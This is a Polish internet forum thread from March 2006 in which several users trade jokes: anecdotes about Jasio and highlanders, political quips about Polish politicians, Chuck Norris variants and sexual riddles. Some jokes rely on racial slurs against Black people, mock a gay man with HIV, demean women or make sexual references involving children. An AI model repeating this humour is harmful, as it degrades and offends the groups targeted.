- O ku**a! - wrzasnął w pewnej chwili facet.
- Co się stało kochanie, zabolało cię?
-Nie ale właśnie sobie uświadomiłem, że ten lekarz trzymał obie ręce na moich ramionach
-----------------------------------------
Panie te to kurczaki świeże?
- No jasna sprawa, wczoraj jeszcze kichały wesoło!

-----------------------------------------
Dziewczyna z chłopakiem wpadli do pubu na parę drinków. Siedzą, dobrze się bawią, i nagle kobieta zaczyna mówić o nowym drinku. Im więcej o nim mówi, tym bardziej się podnieca i w końcu namawia chłopaka, aby go skosztował.
Chłopak się zgadza i pozwala, by zamówiła mu tego drinka. Barman podaje drinka i umieszcza na stole następujące składniki: solniczkę, kieliszek śmietankowego likieru Baileys oraz kieliszek soku z limonki. Chłopak patrzy na składniki z głupią miną, więc dziewczyna mu tłumaczy:
"Po pierwsze, sypiesz trochę soli na język, po drugie - wypijasz kieliszek Baileya i trzymasz w ustach, a następnie zapijasz wszystko sokiem z limonki."
Chłopak, pragnąc zadowolić dziewczynę, robi to, co mu kazała. Sypie sól na język - słone, ale OK. Dalej idzie likier - gładki, aromatyczny , bardzo przyjemny... Wporzo! W końcu nbierze kieliszek z limonką... W pierwszej sekundzie uderza go w podniebienie ostry smak soku z limonki, w drugiej sekundzie Baileys się zwarza, w trzeciej - słono-zwarzono-gorzki smak daje mu w przełyk. To wywołuje, oczywiście, odruch wymiotny, ale nie chcąc sprawić dziewczynie przykrości, przełyka z trudem. Kiedy udaje mu się opanować, obraca się do dziewczyny. Ta się szczerze i szeroko:
"I jak ci smakowało? Ten drink ma nazwę "Zemsta za Loda."
----------------------------------------------------
mały Jasio i jego koleżanka Małgosia (oboje w wieku 5 lat)bawią się w dom.Wspólnie zdecydowali, że najwyższy czas się pobrać. Więc Jasio idzie do taty Małgosi, żeby poprosic go o rękę córki. Ojciec dziewczynki rozbawiony :
-Jasiu ale gdzie będziecie mieszkać?
-Cóż- mówi Jasio- Myślę, że wprowadzę się do pokoju Małgosi.Jest wystarczająco duży.
- A z czego będziecie sie utzrzymywac?-ciągnie z powagą ojciec Małgosi.
-Ja mam 5zł tygodniowo, Małgosia tez ma 5 zł tygodniówki, to nam wystarczy.
Coraz bardziej zaskoczony rzeczowymi odpowiedziami chłopca ojciec Małgosi zadaje kolejne pytanie.
-A co będzie jak powiększy się wam rodzina?
Mały Jasio natychmiast odpowiada:
-Do tej pory szczęśliwie udawało nam się tego uniknąć.......
---------------------------------------------------
Żona do męża:
- Wykąp dzieciaka, ja źle się czuję i muszę się położyć.
Żona kładzie się spać, ale zrywa się słysząc wrzask dziecka.
Wbiega do łazienki, patrzy, a mąż trzyma dziecko za uszy i wkłada do
wanny.
- Idioto urwiesz mu uszy!
- A co, mam się poparzyć?
----------------------------------------------------
dzieci podchodzą do hrabiego spacerującego po parku i wskazując na zamek pytają:
-Czy pan mieszka w tym zamku?
-tak
-A czy tam nie ma rzadnego straszydła?
- nie ma, jeszcze jestem kawalerem...
---------------------------------------------------
Nad Morskim Okiem siedzi stary baca. Przechodzący turyści pozdrawiają go i pytają:
- Co tu robicie?
- Łowię pstrągi.
- Przecież nie macie wędki!
- Pstrągi łowi się na lusterko.
- W jaki sposób?!
- To moja tajemnica. Ale jeśli dostanę flaszkę, to ją wam zdradzę.
Turyści wrócili do schroniska, kupili butelkę wódki i zanieśli ją bacy. On tłumaczy:
- Wkładam lusterko do wody, a kiedy pstrąg podpływa i zaczyna się przeglądać to ja go kamieniem i już jest mój...
- Ciekawe... A ile już tych pstrągów złowiliście?
- Jeszcze ani jednego, ale mam z pięć flaszek dziennie...
---------------------------------------------------
- Staro, obróciłabyś się ku mnie!
- Kces mnie, mój chłopecku?!
- Nie, ino puscos bąki...

---------------------------------------------------
Pewnego razu tata miał popilnować Jasia pod nieobecność mamy. Założył
malcowi słuchawki, włączył adapter i nastawił płytę z bajką, a następnie
poszedł do sąsiadki na małe sam-na-sam.
Wraca po trzech godzinach i od progu słyszy jakieś głuche odgłosy oraz
krzyki dochodzące z pokoju syna. Wchodzi tam i widzi dziecko bijące
głową o ścianę oraz wrzeszczące:
-Chcę! Chcę! Chcę!
Zdziwiony zakłada słuchawki, tam głos:
-Czy chcesz usłyszeć bajeczkę... kchrp Czy chcesz usłyszeć bajeczkę..
kchrp Czy chcesz usłyszeć bajeczkę...
---------------------------------------------------
Kiedy pięcioletnia córeczka zaczęła wypytywać mamę o
to skąd się wzięła na świecie, ta delikatnie jej opowiedziała. Po paru
dniach dziewczynka dalej zafascynowana nowo zdobyta wiedzą pyta mamę:
- A więc nasionko tatusia zapładnia jajeczko u mamy i
mama nosi dziecko w brzuszku?
-Właśnie tak to jest, kochanie - odpowiada mama.
- Ale jak nasionko dostaje się tam ? - pyta córeczka - Czy
mamusia je połyka?
Mama odpowiada:
- Tylko wtedy gdy chce nową sukienkę...
---------------------------------------------------
Stoi gość na ulicy, z uszu leje mu się krew,
gałki oczne na wierzchu wiszą właściwie na ostatnich
żyłkach, między nogami pęta mu się wypadnięty odbyt,
w dłoniach trzyma wątrobę i mówi:
- No! To żem se k....a, kichnął ..

amalcz - 10-03-2006, 14:02
Temat postu: Sztuczka
Kto by tak chciał ?
http://www.wimp.com/levitating/

tsharny - 10-03-2006, 14:42

krótkie :)

Pan domu otwiera drzwi i mówi:
- Teściowo, co tak stoicie na zewnątrz w deszczu?! Idźcie do domu!
---------------------------------------------------------------------------------
Pierwsza lekcja niemieckiego:
- Czy zna ktoś jakieś zdanie po niemiecku?
Zgłasza się Jasio:
- Postrafiam pielkrzymuf s Polski.
---------------------------------------------------------------------------------
- Jak w KFC uczczono walentynki?
- W ofercie były serca z kurczaka.
---------------------------------------------------------------------------------
Białoruscy uczeni dowiedli, że największą ilość witamin zawierają
apteki.
---------------------------------------------------------------------------------
- Jakie trzy słowa potrafią u każdej kobiety wywołać ekstazę?
- "Kupię Ci to."
---------------------------------------------------------------------------------
W maju 2006 do Polski przyleci Benedykt XVI. Na miejsce spotkania
papieża z wiernymi wybrany został Grunwald - tradycyjne miejsce spotkań Polaków i
niemieckiego duchowieństwa.
---------------------------------------------------------------------------------
Żona Marcinkiewicza była wczoraj w kinie - na premierze.
---------------------------------------------------------------------------------
Szejk Abdullah gdy dowiedział się co się dzieje w Polsce, z dobrego serca
wpłacił 1 mln $ na operację rozdzielenia bliźniaków.
---------------------------------------------------------------------------------
Wyszperane w pamiętniku studenta: "Kiedy zacząłem odkurzać pokój
roztocza ze zdziwienia umarły."
---------------------------------------------------------------------------------
Wychodzi Jezus z budynku IPN-u. Smutny idzie, z opuszczoną głową.
- A ja przez dwa tysiące lat myślałem, że to Judasz.
---------------------------------------------------------------------------------
II Urząd Skarbowy w Poznaniu. Panienka strofuje młodego przedsiębiorcę:
- Jak pan śmiał w rubryce " Pozostający na moim utrzymaniu" wpisać "IV RP"?
---------------------------------------------------------------------------------

Marcin_alien - 10-03-2006, 15:49

Wiadomosc dnia -
- Kongres USA zniosl wizy dla Polakow ...
... z III pietra na parter

:alien:

tsharny - 10-03-2006, 16:12

hahahaha :22:
malek - 13-03-2006, 09:50

Wychodzi baca rano przed chatę i mówi:
- Jaki ładny dzisiaj dzień!
A echo z przyzwyczajenia:
- Mać... mać... mać...

[ Dodano: 13-03-2006, 09:51 ]
Jedzie pociągiem dama, Anglik, Francuz i porucznik Rżewski. Cisza. Nagle dama głośno puszcza bąka.
- Przepraszam, boli mnie żołądek - dzielnie bierze na siebie incydent dobrze wychowany Francuz.
Po chwili dama znów głośno psuje powietrze.
- Przepraszam, żołądek nie wytrzymał... - winę na siebie bierze Anglik.
Wstaje porucznik Rżewski.
- Panowie, idę zapalić na korytarz. Jak ona jeszcze raz pierdnie, powiedzcie, że to ja

Efraim Ryba - 13-03-2006, 11:44

Za Funiastymi ( http://www.funiaste.net ):

Do Krasnika Fabrycznego przyjechał na występy zespół muzyczno-wokalny
"Tęcza". Sala kinowa wypełniona po brzegi. scisk, gwar, stężone
powietrze. Na scenę wychodzi młody konferansjer i zaczyna zapowiedz:
- Drodzy mieszkańcy Krasnika Fabrycznego. Za chwilę ma zaszczyt wystĹĄpić
przed państwem...
Krzyki, harmider, nikt nie zwraca na kolesia uwagi. Wstaje, więc z
pierwszego rzędu pan Rysiek, miejscowy Mistrz Ciętej Riposty. Wchodzi na
scenę.
- Patrz pan jak się to robi - mówi do młodziaka.
- Ej, wiejskie żłoby, złamasy i cwele! - krzyczy.
- Joł!! - ryczy publika.
- Kto zgadnie co to jest: na cztery litery, ma "ch" i "u"?!
Wszyscy chórem: Ch*j!
- A nie, to ucho! - krzyczy Rysiek. - Teraz ty, młody, dawaj dalej!
- Ej, wiejskie żłoby, złamasy i cwele! - krzyczy konferansjer. - Kto
zgadnie, co to jest: na cztery litery, ma "ch" i "u"?!
Wszyscy chórem: Ucho!
- A własnie, że nie - to ch*j! I ja, z tego ch*ja zaraz siknę na
pierwsze trzy rzędy! A cała reszta zobaczy tęczę! Tęcza! Tak nazywa się
zespół wokalno-muzyczny, który zagra wam kilka kawałków.

Marcin_alien - 13-03-2006, 16:50

Sposoby na ptasia grype:

1) nie bawic się ptaszkiem
2) nie chodzic spac z kurami
3) nie siadac na jajach
4) nie rzucac pawia
5) nie wycinac orla w progu
6) uwazac na wylatujace gile
7) nie pic na sepa

:alien:

tsharny - 13-03-2006, 20:51

znana deklinacja poszerzona została o dodatkowe odmiany:

1. Mianownik - kto? co?
2. Dopełniacz - kogo? czego?
3. Celownik - komu? czemu?
4. Biernik - kogo? co?
5. Narzędnik - z kim? z czym?
6. Miejscownik - o kim? o czym?
7. Wołacz - o!
8. Intymnik - kto z kim?
9. Wygryznik - kto kogo i dlaczego?
10. Lapownik - kto komu ile?
11. a fee - komu? w co?
12. a fee materialny - komu? w co? za ile?
13. Powodnik - dlaczego ja?
14. Dziwnik - ke?
15. Rządownik - kwa? kwa?
16. Złodziejnik - komu? gdzie? ile?
17. Politycznik - koalicja? z kim? dlaczego? po co?
18. Powybornik - co ja a fee zrobilem

Marcin_alien - 14-03-2006, 12:51

Jak poznać wiek ryby?
- Po oczach. Im oczy dalej od ogona, tym ryba starsza.

Na co trzeba uważać w seksie grupowym?
- Na to, żeby nie zostać pominiętym!!!

Co to jest długie, śpiewa i sra po lasach?
Pielgrzymka do Częstochowy

-Dlaczego Mikołaj chodzi zawsze wesoły???
-Bo zna adresy wszystkich niegrzecznych dziewczynek:))

- Dlaczego łysy jedzie na motorze z otwartym rozporkiem ?
- Bo lubi poczuć wiatr we włosach

Wiesz jakie jest najszybsze zwierze na świecie ?
-Gepard
A wiesz jaki jest najszybszy ptak ?
-Ptak geparda .

Jaka jest różnica między krową a traktorem?
- Jak traktor nawali to stoi, a jak krowa nawali, to idzie dalej.

- Dlaczego krasnoludki idąc lasem śmieją się?
- Bo je mech w jaja łaskocze.

- Co to jest: leży pod brzózką i stęka?
- Sekretarka dyrektora Brzózki.

- Co robią mężczyźni po stosunku?
- 5% odwraca się na drugi bok i zasypia.
- 5% zapala papierosa i wychodzi do łazienki.
- Pozostałe 90% ubiera się i wraca do domu, do żony.

- Kto to jest kawaler?
- To ktoś, kto codziennie do pracy przychodzi z innej strony...

- Kto to jest mąż?
- Zastępca kochanka do spraw finansowo-gospodarczych.

- Dlaczego mleko zawiera tłuszcz?
- Żeby nie skrzypiało podczas dojenia.

- Po co produkuje się białą czekoladę?
- Żeby murzynek też mógł się upieprzyć...

- Jaka jest różnica między weselem a pogrzebem?
- Na pogrzebie jest o jednego pijanego mniej.

- Jak i kiedy pojawiają się pierwsze objawy ciąży?
- Pierwsze objawy ciąży to wytrzeszcz gałek ocznych. Pojawia się zaraz po pęknięciu kondoma.

- Kiedy się kończy miesiąc miodowy?
- Kiedy mąż przestaje pomagać żonie myć naczynia i robi to sam.

- Kiedy Eskimos wie, że zima jest naprawdę siarczysta?
- Jak mu się psy łamią na zakręcie.

- Co wspólnego ze sobą mają pijana kobieta i Fiat 126P?
- I jedno i drugie wstyd prowadzić.

- Co to jest: żona i teściowa w samochodzie?
- Zestaw głośnomówiący.

- Jakie kroki należy podjąć, gdy spotka się wściekłego psa?
- Jak najdłuższe.

- Kto to jest harcerz?
- Harcerz jest to dziecko przebrane za idiotę pod opieką idioty przebranego za dziecko.

- Co robi kobieta po stosunku?
- Przeszkadza.

- Jaki jest najlepszy środek antykoncepcyjny?
- Wódka z piaskiem: jak się plemniki spiją, to się kamieniami pozabijają.

Przychodzi gej do lekarza i mówi:
- Mam HIV panie doktorze.
- Dwa kilo grochu,pół litra soku ze śliwek , cztery banany i to wszystko powtarzac przez tydzień po dwa razy dziennie.
- A to pomoże? - pyta gej
- NIe Ale nauczy pana do czego słuzy dupa.


Wchodzi blondynka do zatłoczonego tramwaju i po chwili wzdycha:
- Ale wielki tłok!
Na co stojący obok facet odpowiada z dumą
- To mój!

Facet budzi się w południe na potwornym kacu.
Patrzy, na stole cztery schłodzone butelki piwa i list następującej treści:
"Kochanie, wypoczywaj. Jakbyś czegoś potrzebował to zadzwoń. Zwolnię się z pracy i przyjadę. Twoja kochająca żona".
Facet pyta syna:
- Co się wczoraj stało? Nic nie pamiętam. Czyżbym wrócił w nocy z kwiatami albo pierścionkiem?
Syn na to:
- Przyszedłeś o piątej nad ranem kompletnie pijany, awanturowałeś się, a gdy matka chcąc cie rozebrac ściągała ci spodnie,powiedziałeś: "Spadaj dziwko, jestem żonaty!".


Idzie ksiadz polna droga, przechodzi obok skromnego gospodarstwa.
Patrzy,a tam chlop cos z desek kleci. Ksiadz zagaduje:
- Pochwalony, drogi parafianinie, nad czymze tak ciezko pracujecie???
- A a fee, kibel nowy stawiam, bo sie stary rozjebal.
- O, moj drogi!!! A nie móglbys tego tak troche owinac w bawelne?
- Co mam owijac w bawelne??? Dechami a fee naokolo i a fee!!!

Wielki_szef - 14-03-2006, 21:45

Einstein pojawia się przy bramie do niebios. Św. Piotr stwierdza:
- Hmm.. Wyglądasz jak Einstein, ale czy naprawdę nim jesteś?
Nawet nie wiesz jak różnych metod ludzie próbują, żeby się tu prześlizgnąć.
- Mogę prosić kawałek kredy i tablicę?
Św. Piotr pstryknął palcami, pojawiła się tablica i kreda. Einstein zaczął objaśniac zasady matematyki i fizyki, rysować na tablicy wykresy itp..
- Ok, wierzę Ci, wchodź.
Następny był Picasso. Scena się powtarza, Picasso prosi o to samo co Einstein. Otrzymuje tablicę i kredę - paroma maznięciami kredy tworzy piękny, kubistyczny obraz.
- Na pewno jesteś Picassem, wchodź!
Po jakimś czasie do nieba przychodzi Lepper.
- Picasso i Einstein udowodnili kim są. W jaki sposób Ty możesz udowodnić?
- A kto to Picasso i Einstein?
- Wchodź, Andrzej....

- Dziadku, jak to możliwe? Masz już 92 lata, a co noc gości u ciebie inna panienka! Jak ty to robisz?
- No... właściwie to nie wiem... – odpowiedział dziadek i w zamyśleniu oblizał brwi.

Reżyser do statystów na planie filmowym:
-Pan... pan... pan... i pan...
Jakiś gość z tyłu się wyrywa:
-Jeszcze ja! Jeszcze ja!
-No dobrze... jeszcze pan... Wypier***** !!!!

Powódź w prowincjonalnym miasteczku. Ewakuacja ludności. Wojsko puka do kaplicy:
- Proszę księdza, niech ksiądz ucieka! Ksiądz się utopi!
- Nigdzie nie idę, wierzę w Opatrzność Boską.
Po trzech godzinach ksiądz siedzi na ostatnim piętrze parafii. Podpływają motorówką:
- Proszę księdza, niech ksiądz ucieka! Ksiądz się utopi!
- Nigdzie nie idę, wierzę w Opatrzność Boska.
Minęły kolejne godziny, ksiądz na szczycie dzwonnicy. Podpływają znowu.
- Proszę księdza, niech ksiądz ucieka! Ksiądz się utopi!
- Nigdzie nie idę, wierzę w Opatrzność Boska.
Piętnaście minut i ksiądz już z wyrzutami u Pana Boga.
- Panie Boże, no jak tak można? Swojego wiernego sługę zawieść? A tak wierzyłem w Opatrzność...
- Kretyn!!! Trzy razy po ciebie ludzi wysyłałem!!!

Jedzie facet samochodem. Obok siedzi żona. Dopuszczalna prędkość 100 km/h. Facet jedzie mniej więcej z tą prędkością. Nagle żona rozpoczyna monolog:
- Już Cię nie kocham. Po dwunastu latach po ślubie chcę rozwodu.
Mąż nic nie mówi tylko przyspiesza do 110 km/h. Żona mówi dalej:
- Pokochałam twego najlepszego przyjaciela - Kazia.
Mąż nic nie mówi tylko dalej przyspiesz do 120 km/h.
Żona przystępuje do rozważania warunków rozwodu:
- Chcę dzieci!
Mąż nic nie mówi tylko przyspiesza do 130 km/h.
- Chcę dom i samochód!
Mąż dalej nic nie mówi ale przyspiesza do 140 km/h.
- Chcę aby wszystkie karty kredytowe i akcje był na moje nazwisko.
Mąż dalej nic nie mówi ale przyspiesza do 150 km/h.
- A czego ty chcesz?
- Ja już mam wszystko co mnie potrzeba!
Mąż przyspiesza do 200km/h.
- A co masz?!
Mąż skręca na przeciwny pas jezdni i cedzi przez zęby:
- Poduszkę powietrzną!!!

Australia. Finał jednego z najbardziej popularnych teleturniejów. Do ostatniej rundy przechodzą pastor i hodowca owiec z małej wioski. Obydwaj znakomicie odpowiadaja na pytania, więc nie można wyłonić zwycięzcy. Organizatorzy postanawiają przeprowadzić dogrywkę: zawodnicy mają 5 minut na napisanie wiersz z wyrazem "Timbuktu". Obaj skrzętnie zabierają sie do pracy. Po jakichś 4 minutach podnosi sie pastor i zaczyna deklamować:

I was a father all my life
I had no children, had no wife
I read the Bible through and through
On my way to Timbuktu

po czym dostaje gromkie brawa od całej widowni, która jest przekonana, że właśnie poznała zwycięzcę. Wtedy kończy pisać pasterz i mówi:

When Tim and I to Sydney went
We met three ladies - cheap to rent
They were three and we were two
So I booked one and Tim booked two

po czym został zwycięzcą programu.

tsharny - 15-03-2006, 12:46

Facet wchodzi do knajpy i widzi swojego kumpla, który siedzi przy barze mocno przygnębiony. Podchodzi więc do niego i pyta, w czym rzecz.
- Pamiętasz tę śliczną dziewczynę ode mnie z pracy, z którą chciałem się umówić, ale nie
mogłem nawet do niej podejść, bo za każdym razem, kiedy ją widziałem, to mi stawał?
- No pamiętam.
- W końcu zebrałem się na odwagę i poprosiłem, żeby się ze mna umówiła. I ona się zgodziła.
- Super! To kiedy randka?
- Byliśmy umówieni dziś wieczorem. Ale bałem się, że znów mi stanie.
Więc przykleiłem go sobie plastrem do nogi, żeby w razie czego nie było widać.
- No i dobrze! Gdzie problem?
- Poszedłem do niej, zadzwoniłem, a ona otworzyła w takiej cieniutkiej, przezroczystej sukience...
- No i...?!
- Kopnąłem ją w twarz.

[ Dodano: 15-03-2006, 12:51 ]
Jasio przybiega do mamy i mówi:
- Mamo widziałem jak tato coś robił z pokojówka.
- Tak, a co takiego?
- Najpierw ja całował, a potem dotykał... Potem poszli do gabinetu, rozebrał ja i wsadził...
- Dobrze, synku, w niedziele, podczas kolacji opowiesz to, żeby wszyscy wiedzieli.
Nadeszła niedziela, rodzina przy stole i mama daje znak Jasiowi żeby zaczął mówić.
Jasio:
- No wiec tatuś całował i dotykał pokojówkę, później zabrał ja do gabinetu, rozebrał i wsadził... Wsadził... Mamo jak się nazywa to co ssiesz szoferowi?

----------------------------------------------------------------------------

Pewnego dnia, podczas mszy nagle pojawia sie znienacka Szatan, patrzy wielkimi ślepiami po ludziach i uśmiecha sie szyderczo i, siada na ołtarzu. Ludzie w nogi,
uciekają z kościoła, i tylko jeden staruszek się nie rusza i patrzy na Bestie. Wreszcie Szatan podchodzi do niego i pyta:
- Czy nie wiesz kim jestem?
- Oczywiście, ze wiem.
- I nie boisz sie mnie?
- Ani trochę. - Szatan lekko sie zdziwił.
- Mnie sie wszyscy boja, a ty nie? Dlaczego sie nie boisz?
- Jestem żonaty z twoja siostra od 48 lat.

----------------------------------------------------------------------------

qdlaty - 17-03-2006, 14:59

Spotyka się dwóch homosiów:
- Co słychać?
- Zwolnili mnie z roboty.
- Gdzie tyrałeś?
- W banku spermy.
- A za co cię wywalili?
- Piłem w pracy.


:)
Qdlaty

Mania - 17-03-2006, 15:58

A je wreszcie jakies nie swinskie dowcipy:


Chuck Norris doliczyl do nieskonczonosci. Dwa razy...
Jaroslaw Kaczynski robi to samo. Na palcach jednej reki...
***

Teoria ewolucji nie istnieje. Tylko lista stworzen, którym Chuck Norris pozwolil zyc.
Na polecenie Jaroslawa Kaczynskiego.
***

W domu Chucka Norrisa nie ma drzwi. Tylko sciany, przez które przechodzi.
Jaroslaw Kaczynski nie przechodzi przez sciany. One sie przed nim rozstepuja...
***

Chuck Norris moze podzielic przez zero.
Mimo to wie, ze sam jest zerem. Swietnie wie, przy kim.
***
Niektórzy nosza koszulki z Chuckiem Norrisem.
Chuck Norris nosi koszulke z Jaroslawem Kaczynskim.
***

Nie od razu Kraków zbudowano? Chuck Norris zbudowal.
Dostal takie polecenie. Od Lecha Kaczynskiego. Jaroslaw Kaczynski nie zajmuje sie takimi drobiazgami.
***

Bóg rzekl: "Niech stanie sie swiatlosc". Chuck Norris na to: Powiedz "proszę"!
I gorzko tego pozalowal. Nie zauwazyl stojacego obok Stwórcy Jaroslawa Kaczynskiego.
***

Chuck Norris gra w rosyjska ruletke z calkowicie nabitym rewolwerem. I wygrywa...
Jaroslaw Kaczynski robi to samo z dwoma rewolwerami.
***

Chuck Norris zawahal sie tylko raz w zyciu - kiedy dostal propozycje objecia stanowiska premiera RP.
Wiedzial, ze jest lepszy kandydat...
***

Efraim Ryba - 18-03-2006, 22:12

Szacunek Maniu :D

p.s.

Jedyny pozytyw płynący z "działania" tego rządu i tego prezydenta to zmartwychwstanie dowcipu politycznego.


Z drugiej strony nie wiem czy to powód do radości

KasiaK - 19-03-2006, 01:59

Blondynka do blondynki:
- Wyglądasz dziś czarownicująco!
- To miał być kompleks?
- Nie, chciałam ci zaimponić.

ukusek - 19-03-2006, 19:53

KOCHANA MAMA

Nauczyła mnie oczekiwania...
"Poczekaj tylko, aż ojciec wróci!"
Nauczyła mnie otrzymywania...
"Dostaniesz, jak tylko wrócimy do domu!"
Nauczyła mnie podejmowania wyzwań...
"Co ty sobie myślisz? Odpowiedz, jak cię pytam! Nie odszczekuj się!"
Nauczyła mnie logiki...
"Jak spadniesz z tej huśtawki i skręcisz sobie kark, to nie pojedziesz ze mną do miasta."
Nauczyła mnie indywidualizmu...
"Gdyby wszyscy skakali z mostu, to ty też byś skoczył?"
Nauczyła mnie zasad zdrowego odżywiania...
"JEDZ!"
Nauczyła mnie, jak wykształcić sobie zainteresowania...
"Tylko nudni ludzie się nudzą."
Nauczyła mnie, jak SZYBKO wykształcić sobie zainteresowania...
"Nudzisz się? Zaraz ci znajdę zajęcie!"
Nauczyła mnie, jak wybrać właściwego partnera na resztę życia...
"Tego kwiatu to pół światu."
Nauczyła mnie miłości do rodzeństwa...
"Jak zaraz nie przestaniecie się kłócić, to każę wam się pocałować!"
Odkryła przede mną tajemnicę mojego istnienia...
"Ja cię wydałam na ten świat i ja mogę pomóc ci się z nim rozstać!"
Nauczyła mnie doceniać dobrze wykonaną pracę...
"Jeśli zamierzacie się pozabijać, zróbcie to na zewnątrz - przed chwilą skończyłam sprzątać!"
Nauczyła mnie religii...
"Lepiej się módl, żeby na dywanie nie było śladu"
Nauczyła mnie podróży w czasie...
"Jeśli się nie wyprostujesz, strzelę cię tak, że się znajdziesz w przyszłym tygodniu!"
Nauczyła mnie logiki...
"Dlaczego? Bo ja tak powiedziałam!"
Nauczyła mnie przewidywania...
"Tylko załóż czystą bieliznę, na wypadek gdybyś miał wypadek"
Nauczyła mnie ironii...
"Śmiej się, a zaraz ci dam powód do płaczu!"
Nauczyła mnie tajemniczego zjawiska osmozy...
"Zamknij się i jedz kolację!"
Nauczyła mnie wiele o wytrzymałości...
"Będziesz tu siedział, póki nie zjesz tego szpinaku!"
Uczyła mnie meteorologii...
"Wygląda, jakby tornado przeszło przez twój pokój"
Nauczyła mnie o zagadnieniach fizyki...
"Gdybym krzyczała, że spada na ciebie meteor, czy byś raczył mnie wysłuchać?"
Nauczyła mnie hipokryzji...
"Powtarzałam ci milion razy - nie wyolbrzymiaj!"
Nauczyła mnie o kręgu życia...
"Wydałam cię na ten świat, to mogę i na tamten!"
Nauczyła mnie modyfikacji zachowań...
"Przestań zachowywać się jak twoj ojciec!"
Nauczyła mnie zazdrości...
"Są miliony dzieci, które mają mniej szczęścia i nie mają takich wspaniałych rodziców jak ty!"
Nauczyła mnie cierpliwości
"Tylko poczekaj, aż wrócimy do domu!"
Nauczyła mnie medycyny...
"Jeśli nie przestaniesz robić zeza, to zobaczysz, że Ci tak zostanie"
Nauczyła mnie myśleć przyszłościowo...
"Jeśli nie zaliczysz tej klasówki z polskiego, to nigdy nie dostaniesz dobrej pracy"
Nauczyła mnie empatii...
"Załóż sweter - dobrze wiem, kiedy jest Ci zimno"
Nauczyła mnie czarnego humoru...
"Jeśli kosiarka obetnie Ci stopy, to nie przychodź z tym do mnie..."
Nauczyła mnie otrzymywania...
"Oj, zobaczysz, że dostaniesz!"
Nauczyła mnie dorastania...
"Jedz warzywa, bo nigdy nie urośniesz!"
Nauczyła mnie genetyki...
"Jesteś zupełnie jak Twój ojciec..."
Nauczyła mnie moich korzeni...
"Czy Tobie się zdaje, że urodziłeś się w stodole?!"
Nauczyła mnie doświadczenia...
"Zrozumiesz jak będziesz mieć moje lata. A teraz rób to!"
Nauczyła mnie sprawiedliwości...
"Kiedyś też będziesz mieć dzieci i mam nadzieję, że będą takie jak ty!"

[ Dodano: 19-03-2006, 20:01 ]
Pani doktor nie może zasnąć - rozum walczy w niej z sumieniem.
Sumienie: "Nie można spokojnie zasnąć, kiedy się zdradziło męża!"
Rozum: "A to niby dlaczego! Jeśli mąż wiecznie zajęty, nie ma czasu na seks z braku czasu - to i święta by uległa. Dobrze zrobiłaś... "śpij spokojnie, śpij"...
Sumienie: "Zdrada zdradzie nierówna! Kopulować z pacjentem - to naruszenie etyki lekarskiej!"
Rozum: "Tak? A przypomnij sobie Zalewską z Polikliniki. Ona regularnie sypia z pacjentami i wszyscy są zadowoleni, wszystkim jest dobrze."
Sumienie milknie. Kobieta zapada powoli w sen...
Nagle - sumienie odzywa się nieśmiałym szeptem: "No, ale Zalewska nie jest weterynarzem!"

[ Dodano: 19-03-2006, 20:07 ]
Jeden chłop wlazł w parku na ławkę i zaczyna się drzeć:
- Precz z hipokryzją !
Ludzie patrzą zdziwieni, a chłop :
- Precz z pazernością !
Coraz więcej gapiów przystaje, a ten dalej :
- Precz z pedofilią !
W końcu jakaś babcia nie wytrzymała :
- Panie , coś się pan tak do tych księży przypierniczył ?!?!

Tramwaj. Stoi baba z torbami, a obok niej Murzyn. Tramwaj rusza, Murzyn traci równowagę i wpada na babę.
Murzyn:
- Sorry
Baba:
- U nas, w cywilizowanym kraju mówi się "przepraszam"
Murzyn (po chwili, łamaną polszczyzną):
- A u nas w niecywilizowanym kraju takie stare grube kobiety się zjada.

Jasio został dyscyplinarnie wyrzucony z przedszkola. Trafił do innego. Pyta się tam znajomego:
- Można palić?
- Da się, spoko.
- Można pić wódę?
- Spoko, jak się podzielisz z wychowawcą to on nawet da szkło.
- A dziewice są?
- Czyś ty zgłupiał ? Co ty? W żłobku jesteś?

Przychodzi kangurzyca z zakrwawionym brzuchem do lekarza.
Lekarz: "Co się Pani u licha stało?".
Kangurzyca: "Torbę mi wyrwali w tramwaju!"

Niedźwiedź chciał zagadać do jeżyka. Widzi, że ten je śniadanie więc mówi
-Co jesz?
-Co niedźwiedź?- jeżyk odpowiada
Niedźwiedź zgaszony odchodzi na bok. I myśli sobie podejdę i zagadam jeszcze raz.
- Co jesz jeżyku?
- Co niedźwiedź misiu? - pada odpowiedź.

Babcia przychodzi do urzędu skarbowego. Urzędniczka sprawdza dokumenty i mówi:
- Brakuje pani podpisu.
- Ale jak mam się podpisać? - pyta starsza pani.
- No, tak jak zazwyczaj się pani podpisuje.
Starsza pani wzięła długopis i napisała:
"Całuję Was mocno, babcia Aniela"

tsharny - 20-03-2006, 10:30

jak uprawiają sex?

Bankier - na raty
Listonosz - dochodzi szybko
Inżynier - zgodnie z planem
Alpinista - zawsze na górze
Polityk - kończy na obietnicach
Policjant - twardą pałką z kajdankami
Szachista - bije konia nawet przy królowej
Dentysta - wiadomo, zawsze oralnie
Śmieciarz - dochodzi raz w tygodniu
Detektyw - tylko w ciemnościach i incognito
Dżokej - galopuje ostro i zawsze chce być pierwszy
Nurek - ma wielkie ciśnienie, zwłaszcza, gdy jest głęboko
Muzyk - niezwykle sprawne palce, ale potrzebuje dyrygenta
Dostawca pizzy - jak nie dojdzie w 15 minut, to zimny
Pracownik Biura Podróży - nigdy nie może znaleźć właściwego miejsca
Piłkarz - jak nie faul, to spalony, nigdy nie może trafić
Golfista - małe piłeczki, a upiera się żeby zaliczyć 18 dziurek
Dealer samochodów - nieważne gdzie i komu, aby tylko wepchnąć ten swój złom

Przemek - 20-03-2006, 11:50

Nurek i golfista wymiatają =]]]
wrobel.cwirek - 20-03-2006, 11:51

Wpadka... Stirlitz wraz ze swoja siatka agentow wpad. Gestapo ich przesluchuje... jedne dzien, poddaje sie jeden z kompanow Stirlitza, drugi dzien... kolejny i tak w piec dni wszyscy sypia, tylko Stirlitz twardo. Po osmiu dniacg Gruber wkurzony, ze nie moga zlamac Stirlitza patrzy, a ten w celi siedzi przy scianie, wali glowa w mur i szepcze do siebie: "Musze sobie przypomniec, bo mnie tu zabija!"
Efraim Ryba - 22-03-2006, 10:44

- Jak pan myśli co jest w dzisiejszych czasach większym problemem: niewiedza czy obojętność?
- Nie wiem. Nie obchodzi mnie to.

Mania - 23-03-2006, 18:52

dobry filmik....

http://youtube.com/watch?...%20lpr%20lepper

qdlaty - 27-03-2006, 11:12

Prowadzący konkurs telewizyjny do laureata:
- Gratuluje zwycięstwa! Proszę teraz zdecydować, czy jako nagrodę
wybiera Pan:
a) weekend z żona w Marriocie, czy
